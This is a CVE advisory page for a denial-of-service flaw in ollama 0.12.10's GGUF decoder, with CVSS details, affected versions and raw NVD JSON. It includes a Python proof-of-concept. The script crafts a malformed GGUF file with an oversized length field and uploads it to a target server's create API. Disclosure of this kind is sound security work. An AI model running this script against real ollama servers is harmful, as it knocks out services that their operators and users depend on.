Security Vulnerability Report
中文
CVE-2025-66959 CVSS 7.5 HIGH

CVE-2025-66959

Published: 2026-01-21 18:16:23
Last Modified: 2026-02-02 17:27:48

Description

An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the GGUF decoder

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ollama:ollama:0.12.10:-:*:*:*:*:*:* - VULNERABLE
ollama v.0.12.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66959 PoC - GGUF Decoder DoS # This PoC demonstrates the vulnerability in ollama's GGUF decoder # The vulnerability allows a remote attacker to cause DoS via unchecked length in GGUF decoder copy import requests import struct def create_malicious_gguf(): """Generate a malicious GGUF file with invalid length fields""" gguf_data = bytearray() # GGUF magic number gguf_data.extend(b'GGUF') # Magic # Version (typically 3) gguf_data.extend(struct.pack('<I', 3)) # TENSOR_COUNT - set to trigger vulnerability gguf_data.extend(struct.pack('<Q', 1)) # DATA_SIZE - malicious large value gguf_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Add more malformed data to trigger panic in decoder gguf_data.extend(b'\x00' * 1024) return bytes(gguf_data) def exploit_ollama(target_url, gguf_file_path): """ Exploit function to trigger DoS in ollama GGUF decoder """ # Method 1: Upload malicious GGUF file via API with open(gguf_file_path, 'wb') as f: f.write(create_malicious_gguf()) # Upload to ollama files = {'file': open(gguf_file_path, 'rb')} try: response = requests.post( f'{target_url}/api/create', files=files, timeout=10 ) print(f'Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'Request failed (expected): {e}') # Usage example if __name__ == '__main__': target = 'http://target-ollama-server:11434' exploit_ollama(target, 'malicious.gguf') print('PoC executed - check if target service is still responsive')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66959", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:23.470", "lastModified": "2026-02-02T17:27:47.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in ollama v.0.12.10 allows a remote attacker to cause a denial of service via the GGUF decoder"}, {"lang": "es", "value": "Un problema en ollama v.0.12.10 permite a un atacante remoto causar una denegación de servicio a través del decodificador GGUF."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ollama:ollama:0.12.10:-:*:*:*:*:*:*", "matchCriteriaId": "E5BE19AF-8583-4E83-AECD-1B8284D97BE0"}]}]}], "references": [{"url": "https://github.com/ollama/ollama/issues/9820", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://zero.shotlearni.ng/blog/cve-2025-66959panic-dos-via-unchecked-length-in-gguf-decoder-copy/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}